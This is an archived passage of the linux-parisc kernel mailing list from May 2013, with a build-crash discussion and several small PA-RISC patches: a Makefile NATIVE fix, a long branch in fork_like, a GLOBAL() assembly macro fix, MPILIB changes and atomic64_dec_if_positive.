	id S1763296Ab3ECTGy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 May 2013 15:06:54 -0400
Original-Received: from mail17.primus.ca ([216.254.141.184]:53594 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1763294Ab3ECTGy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 May 2013 15:06:54 -0400
Original-Received: from 174-138-206-203.cpe.distributel.net ([174.138.206.203] helo=[192.168.0.181])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1UYLJk-0004Bq-2h; Fri, 03 May 2013 15:06:52 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130328 Thunderbird/17.0.5
In-Reply-To: <2d7b2933c7dcaa9e8d7650da13a68795@sf-mail.de>
X-Authenticated: danglin-lux@magma.ca - 174-138-206-203.cpe.distributel.net ([192.168.0.181]) [174.138.206.203]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4981
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4981>

On 5/2/2013 8:41 AM, Rolf Eike Beer wrote:
> Am 02.05.2013 03:34, schrieb John David Anglin:
>> On 30-Apr-13, at 12:40 PM, Rolf Eike Beer wrote:
>>
>>>>> Nope, but probably this:
>>>>>
>>>>> *hppa64-unknown-linux-gnu-ld: scripts/link-vmlinux.sh: line 52: 5398
>>>>> Segmentation fault      ${LD} ${LDFLAGS} ${LDFLAGS_vmlinux} -o  
>>>>> ${2} -T
>>>>> ${lds} ${KBUILD_VMLINUX_INIT} --start-group ${KBUILD_VMLINUX_MAIN}
>>>>> --end-group ${1}
>>>>
>>>> No, it's probably a kernel bug.  Is the crash consistent? If it  
>>>> isn't,
>>>> then it's an OS or kernel bug.
>>>
>>> I have got the same crash again. This are the first 2 tries I ever  
>>> made with
>>> binutils 2.23.1 for 64 bit binaries, so I have nothing to compare to.
>>
>> I have successfully built 3.9.0 with debian binutils 2.23.2-2, so I
>> think the above
>> issue is specific to your kernel, config, etc.  So, full details are
>> needed.  Particularly,
>> details on how to reproduce the fault are needed.
>
> It's a plain 3.9.0, the .config was attached to the first mail. I 
> always get the same problem at the same place:
>
>   KSYM    .tmp_kallsyms1.o
> hppa64-unknown-linux-gnu-ld: scripts/link-vmlinux.sh: line 52: 11674 
> Segmentation fault      ${LD} ${LDFLAGS} ${LDFLAGS_vmlinux} -o ${2} -T 
> ${lds} ${KBUILD_VMLINUX_INIT} --start-group ${KBUILD_VMLINUX_MAIN} 
> --end-group ${1}
> make: *** [vmlinux] Error 139
Although I can confirm the branch distance issue with your .config, I 
don't see the above.  Thus, some
debugging on your part would be needed to find out what's going on.

There should be info about the segmentation fault in your system log.  
Gdb can tell you which application
faulted but without a debug version, it will be hard to tell what's 
happening.  Failing command would need
debugging.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix NATIVE set up in build
Date: Sat,  4 May 2013 12:50:58 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <1367686258-28525-1-git-send-email-vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1367686270 29033 80.91.229.3 (4 May 2013 16:51:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 May 2013 16:51:10 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 04 18:51:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UYffw-00086B-JQ
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 May 2013 18:51:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761646Ab3EDQvF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 May 2013 12:51:05 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:48405 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1761260Ab3EDQvE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 May 2013 12:51:04 -0400
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id E981733DD28;
	Sat,  4 May 2013 16:51:02 +0000 (UTC)
X-Mailer: git-send-email 1.8.2.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4982
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4982>

The ifeq operator does not accept globs, so this little bit of code will
never match (unless uname literally prints out "parsic*").  Rewrite to
use a pattern matching operator so that NATIVE is set to 1 on parisc.

Signed-off-by: Mike Frysinger <vapier@gentoo.org>
---
 arch/parisc/Makefile | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 113e282..2f967cc 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -24,9 +24,7 @@ CHECKFLAGS	+= -D__hppa__=1
 LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 
 MACHINE		:= $(shell uname -m)
-ifeq ($(MACHINE),parisc*)
-NATIVE		:= 1
-endif
+NATIVE		:= $(if $(filter parisc%,$(MACHINE)),1,0)
 
 ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
-- 
1.8.2.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix NATIVE set up in build
Date: Sat, 04 May 2013 19:33:59 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <295dc694487be4c9f609633c4c3e7474@sf-mail.de>
References: <1367686258-28525-1-git-send-email-vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367688849 19608 80.91.229.3 (4 May 2013 17:34:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 May 2013 17:34:09 +0000 (UTC)
Cc: <linux-parisc@vger.kernel.org>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 04 19:34:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UYgLW-0006Fg-7T
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 May 2013 19:34:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761756Ab3EDReE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 May 2013 13:34:04 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:51673 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1761739Ab3EDReD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 May 2013 13:34:03 -0400
Original-Received: (qmail 24673 invoked from network); 4 May 2013 17:34:00 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:54364 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <vapier@gentoo.org>; Sat, 04 May 2013 19:34:00 +0200
In-Reply-To: <1367686258-28525-1-git-send-email-vapier@gentoo.org>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.8.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4983
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4983>

Am 04.05.2013 18:50, schrieb Mike Frysinger:
> The ifeq operator does not accept globs, so this little bit of code 
> will
> never match (unless uname literally prints out "parsic*").  Rewrite to
                                                   ^^^^^^

That would never match ;)

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: use long branch in fork_like macro
Date: Sat, 4 May 2013 15:16:41 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <BLU0-SMTP309E196061626014B6723497BF0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-9-693261634"
X-Trace: ger.gmane.org 1367695050 11830 80.91.229.3 (4 May 2013 19:17:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 May 2013 19:17:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 04 21:17:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UYhxT-0005j6-Hw
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 May 2013 21:17:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751966Ab3EDTRX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 May 2013 15:17:23 -0400
Original-Received: from blu0-omc4-s17.blu0.hotmail.com ([65.55.111.156]:24793 "EHLO
	blu0-omc4-s17.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751942Ab3EDTRW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 May 2013 15:17:22 -0400
Original-Received: from BLU0-SMTP30 ([65.55.111.135]) by blu0-omc4-s17.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 4 May 2013 12:17:21 -0700
X-EIP: [sQbPYo47IsX8EA/LB7op7unFoRPQ3QBQ]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.251]) by BLU0-SMTP30.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 4 May 2013 12:17:20 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 04 May 2013 19:17:20.0244 (UTC) FILETIME=[FF979B40:01CE48FB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4984
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4984>

--Apple-Mail-9-693261634
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The "b" branch instruction used in the fork_like macro only can handle  
17-bit pc-relative offsets.
This fails with an out of range offset with some .config files.   
Rewrite to use the "be" instruction which
can branch to any address in a space.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---



--Apple-Mail-9-693261634
Content-Disposition: attachment; filename="fork_like.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="fork_like.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index f33201b..3a6bb7b 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1694,7 +1695,8 @@ ENTRY(sys_\name\()_wrapper)
 	ldo	TASK_REGS(%r1),%r1
 	reg_save %r1
 	mfctl	%cr27, %r28
-	b	sys_\name
+	ldil	L%sys_\name, %r31
+	be	R%sys_\name(%sr4,%r31)
 	STREG	%r28, PT_CR27(%r1)
 ENDPROC(sys_\name\()_wrapper)
 	.endm

--Apple-Mail-9-693261634
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-9-693261634--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.lsm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] kernel/modsign_certificate.S: fix build on parisc
 architecture
Date: Sun, 5 May 2013 23:31:18 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <20130505213118.GA1622@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367789488 10325 80.91.229.3 (5 May 2013 21:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 May 2013 21:31:28 +0000 (UTC)
To: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	linux-security-module@vger.kernel.org, dhowells@redhat.com
Original-X-From: linux-security-module-owner@vger.kernel.org Sun May 05 23:31:26 2013
Return-path: <linux-security-module-owner@vger.kernel.org>
Envelope-to: glkl-linux-security-module-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-security-module-owner@vger.kernel.org>)
	id 1UZ6Wj-0006nj-Jf
	for glkl-linux-security-module-2@plane.gmane.org; Sun, 05 May 2013 23:31:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752451Ab3EEVbX (ORCPT
	<rfc822;glkl-linux-security-module-2@m.gmane.org>);
	Sun, 5 May 2013 17:31:23 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:56467 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752395Ab3EEVbW (ORCPT
	<rfc822;linux-security-module@vger.kernel.org>);
	Sun, 5 May 2013 17:31:22 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.34]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MevCx-1UxW6L3rq5-00OY2q for
 <linux-security-module@vger.kernel.org>; Sun, 05 May 2013 23:31:20 +0200
Original-Received: (qmail invoked by alias); 05 May 2013 21:31:20 -0000
Original-Received: from p54AD35C9.dip0.t-ipconnect.de (EHLO p100.box) [84.173.53.201]
  by mail.gmx.net (mp034) with SMTP; 05 May 2013 23:31:20 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/ciLVZp1ncsIq5uxNxplWFOlnDqVmvUtAfMN60iY
	qt2NTag9X5oWFP
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-security-module-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-security-module.vger.kernel.org>
X-Mailing-List: linux-security-module@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.lsm:19418 gmane.linux.kernel:1485253 gmane.linux.ports.parisc:4985
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.lsm/19418>

Module signing functionality breaks the kernel build on parisc with the
following error: 

kernel/built-in.o: In function `load_module_signing_keys':
kernel/modsign_pubkey.c:67: undefined reference to `modsign_certificate_list_end'
kernel/modsign_pubkey.c:66: undefined reference to `modsign_certificate_list'
make[3]: *** [vmlinux] Error 1

The reason why the build fails is because on parisc assembly syntax is
different than on other architectures. Most importantly, a semicolon
marks the start of a comment, while exclamation marks separates
statements.

Currently the GLOBAL(name) macro uses a semicolon to separate the .globl
and the ASM_SYMBOL() statements. On PA-RISC the semicolon will now just
strip the ASM_SYMBOL() statements since it thinks it is a comment and as
such the modsign_certificate_list/modsign_certificate_list_end symbols
will not get defined and will not be in the vmlinux binary.

Fix this problem by adding an own implementation for GLOBAL() on the
PARISC architecture.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/kernel/modsign_certificate.S b/kernel/modsign_certificate.S
index 246b4c6..9b9c2ab 100644
--- a/kernel/modsign_certificate.S
+++ b/kernel/modsign_certificate.S
@@ -7,9 +7,17 @@
 #define ASM_SYMBOL(sym) PASTE(SYMBOL_PREFIX, sym)
 #endif
 
-#define GLOBAL(name)	\
-	.globl ASM_SYMBOL(name);	\
+#if defined(__hppa__)
+ /* HPPA/PA-RISC assembly is special: comments start with semicolon
+  * and exclamation marks separates statements. */
+ #define GLOBAL(name)	\
+	.globl ASM_SYMBOL(name) ! \
 	ASM_SYMBOL(name):
+#else
+ #define GLOBAL(name)	\
+	.globl ASM_SYMBOL(name) ; \
+	ASM_SYMBOL(name):
+#endif
 
 	.section ".init.data","aw"
 
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] MPILIB: disable usage of floating point registers on parisc
Date: Mon, 6 May 2013 00:08:22 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20130505220822.GA7819@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367791711 28835 80.91.229.3 (5 May 2013 22:08:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 May 2013 22:08:31 +0000 (UTC)
To: Dmitry Kasatkin <dmitry.kasatkin@intel.com>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 06 00:08:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UZ76Z-0003js-Ew
	for glpp-linux-parisc@plane.gmane.org; Mon, 06 May 2013 00:08:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752016Ab3EEWI1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 May 2013 18:08:27 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:51703 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751988Ab3EEWI0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 May 2013 18:08:26 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LfUkZ-1UFSk5427V-00p3Is for
 <linux-parisc@vger.kernel.org>; Mon, 06 May 2013 00:08:25 +0200
Original-Received: (qmail invoked by alias); 05 May 2013 22:08:24 -0000
Original-Received: from p54AD35C9.dip0.t-ipconnect.de (EHLO p100.box) [84.173.53.201]
  by mail.gmx.net (mp017) with SMTP; 06 May 2013 00:08:24 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18z/VcGF74z9YMQVQGHkzo8svClO7s2VGUTJdKzRH
	JCBmgjxzNiy46C
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4986 gmane.linux.kernel:1485254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4986>

The umul_ppmm() macro for parisc uses the xmpyu assembler statement
which does calculation via a floating point register.

But usage of floating point registers inside the Linux kernel are not
allowed and gcc will stop compilation due to the -mdisable-fpregs
compiler option.

Fix this by disabling the umul_ppmm() and udiv_qrnnd() macros. The
mpilib will then use the generic built-in implementations instead.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/lib/mpi/longlong.h b/lib/mpi/longlong.h
index 095ab15..d411355 100644
--- a/lib/mpi/longlong.h
+++ b/lib/mpi/longlong.h
@@ -318,7 +318,8 @@ extern UDItype __udiv_qrnnd();
 	     "rM" ((USItype)(bh)), \
 	     "rM" ((USItype)(al)), \
 	     "rM" ((USItype)(bl)))
-#if defined(_PA_RISC1_1)
+#if 0 && defined(_PA_RISC1_1)
+/* xmpyu uses floating point register which is not allowed in Linux kernel. */
 #define umul_ppmm(wh, wl, u, v) \
 do { \
 	union {UDItype __ll; \
@@ -337,7 +338,7 @@ do { \
 #define UMUL_TIME 40
 #define UDIV_TIME 80
 #endif
-#ifndef LONGLONG_STANDALONE
+#if 0 /* #ifndef LONGLONG_STANDALONE */
 #define udiv_qrnnd(q, r, n1, n0, d) \
 do { USItype __r; \
 	(q) = __udiv_qrnnd(&__r, (n1), (n0), (d)); \
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: implement atomic64_dec_if_positive()
Date: Mon, 6 May 2013 21:13:33 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <20130506191333.GA17146@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367867621 4194 80.91.229.3 (6 May 2013 19:13:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 May 2013 19:13:41 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 06 21:13:40 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UZQqx-0004o4-7k
	for glpp-linux-parisc@plane.gmane.org; Mon, 06 May 2013 21:13:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755768Ab3EFTNi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 May 2013 15:13:38 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:61931 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755652Ab3EFTNi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 May 2013 15:13:38 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.2]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MGlZv-1UmxVZ25Td-00DZxV for
 <linux-parisc@vger.kernel.org>; Mon, 06 May 2013 21:13:36 +0200
Original-Received: (qmail invoked by alias); 06 May 2013 19:13:36 -0000
Original-Received: from p54AD1B8F.dip0.t-ipconnect.de (EHLO p100.box) [84.173.27.143]
  by mail.gmx.net (mp002) with SMTP; 06 May 2013 21:13:36 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18xrstGP0YxmtAy53w3YhlsS7+Bsef2WohSam188q
	DgxzGJUm0uuEow
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4987
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4987>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 0339181..967d727 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -12,6 +12,7 @@ config PARISC
 	select BUG
 	select HAVE_PERF_EVENTS
 	select GENERIC_ATOMIC64 if !64BIT
+	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select HAVE_GENERIC_HARDIRQS
 	select BROKEN_RODATA
 	select GENERIC_IRQ_PROBE
diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index f38e198..472886c 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -229,6 +229,29 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
 
+/*
+ * atomic64_dec_if_positive - decrement by 1 if old value positive
+ * @v: pointer of type atomic_t
+ *
+ * The function returns the old value of *v minus 1, even if
+ * the atomic variable, v, was not decremented.
+ */
+static inline long atomic64_dec_if_positive(atomic64_t *v)
+{
+	long c, old, dec;
+	c = atomic64_read(v);
+	for (;;) {
+		dec = c - 1;
+		if (unlikely(dec < 0))
+			break;
+		old = atomic64_cmpxchg((v), c, dec);
+		if (likely(old == c))
+			break;
+		c = old;
+	}
+	return dec;
+}
+
 #endif /* !CONFIG_64BIT */
 
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: more irq statistics in /proc/interrupts
Date: Mon, 6 May 2013 21:20:26 +0200
Lines: 198
Approved: news@gmane.org
Message-ID: <20130506192026.GA26582@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367868035 9041 80.91.229.3 (6 May 2013 19:20:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 May 2013 19:20:35 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 06 21:20:34 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UZQxb-0002PF-Ei
	for glpp-linux-parisc@plane.gmane.org; Mon, 06 May 2013 21:20:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
